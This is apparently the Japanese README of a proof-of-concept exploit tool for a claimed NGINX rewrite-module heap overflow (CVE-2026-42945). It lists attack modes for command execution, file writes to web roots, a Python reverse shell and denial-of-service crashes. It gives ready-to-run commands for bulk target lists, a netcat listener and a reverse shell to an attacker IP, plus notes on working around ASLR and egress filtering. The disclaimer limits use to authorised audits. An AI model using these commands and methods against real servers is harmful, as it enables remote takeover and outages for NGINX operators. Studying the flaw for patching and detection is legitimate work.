NGINX Rift RCE Exploit (CVE-2026-42945)(@DepthFirstDisclosures 作)
NGINX Rift 脆弱性を調査・特定するためのプロフェッショナルな Proof-of-Concept(PoC)ツールです。これは ngx_http_rewrite_module における深刻なヒープベースのバッファオーバーフローです。
脆弱性の概要
- CVE ID: CVE-2026-42945
- エイリアス: NGINX Rift
- 深刻度: Critical (CVSS 9.2)
- 影響を受けるバージョン: NGINX 0.6.27 から 1.30.0
- 根本原因: 名前のない PCRE キャプチャ($1、$2)と
? を含む置換文字列を使用した場合に、2 パス方式のリライトエンジンでサイズ不一致エラーが発生します。
- 影響: 認証不要のリモートコード実行(RCE)またはサービス拒否(DoS)。
機能
- マルチモード対応: 単一 URL または .txt ファイルからの一括リストでテスト可能。
- 複数のエクスプロイト手法:
- id: id コマンドを実行(デフォルト)。
- sleep: 時間ベースの検証(ブラインド RCE に最適)。
- write: 一般的な Web ルートディレクトリへのファイル書き込みを試行。
- shell: Python ベースのリバースシェルを送信。
- crash: ワーカープロセスの単純なクラッシュ(DoS)を引き起こす。
- カラーコード化されたインターフェース: 脆弱(緑)、安全(赤)、デバッグ(黄/青)の状態を明確に表示。
- 冗長ログ: 研究者向けの詳細なソケットレベルのやり取りを表示。
使用方法
1. 単一ターゲットのスキャン
python3 poc.py --url http://target.com --method id
2. 複数ターゲットの一括スキャン
targets.txt という名前のファイルを作成し、1 行に 1 つの URL を記述します:
http://1.2.3.4
https://docs.company.com
http://server.internal:8080
次に以下を実行します:
python3 poc.py --list targets.txt --method sleep
3. カスタムコマンドと冗長モード
python3 poc.py --url http://target.com --cmd "whoami" --verbose
4. リバースシェル
最初にリスナーを起動してください: nc -lvp 1337
python3 poc.py --url http://target.com --method shell --listen-ip [YOUR_IP] --listen-port 1337
結果の解釈
- [+] VULNERABLE(緑): エクスプロイトがメモリ破壊のシグネチャを引き起こしました。sleep と併用した場合は、応答時間がスリープ時間と一致するか確認してください。
- [-] Target not vulnerable(赤): 提供されたメモリ候補を使用してもクラッシュを引き起こせませんでした。
- [DEBUG](黄/青): ヒープスプレーと候補アドレスに関する背景情報。
要件と制限事項
- Python 3.x: 外部ライブラリは不要です(標準の socket と argparse を使用)。
- ASLR: この PoC は静的メモリアドレスを使用します。ASLR が有効なシステムでは、メモリリークが提供されない限り、エクスプロイトは RCE ではなくサービス拒否(DoS)になる可能性が高くなります。
- セキュリティ強化: イグレスフィルタリング(ファイアウォール)により、curl や shell メソッドがデータを返送できない場合があります。最も確実な確認には sleep メソッドを使用してください。
免責事項
このツールは教育目的および許可を得たセキュリティ監査専用です。作者は、このスクリプトの誤用またはそれによって生じた損害について一切責任を負いません。いかなるインフラストラクチャに対してテストを行う前に、必ず明示的な許可を取得してください。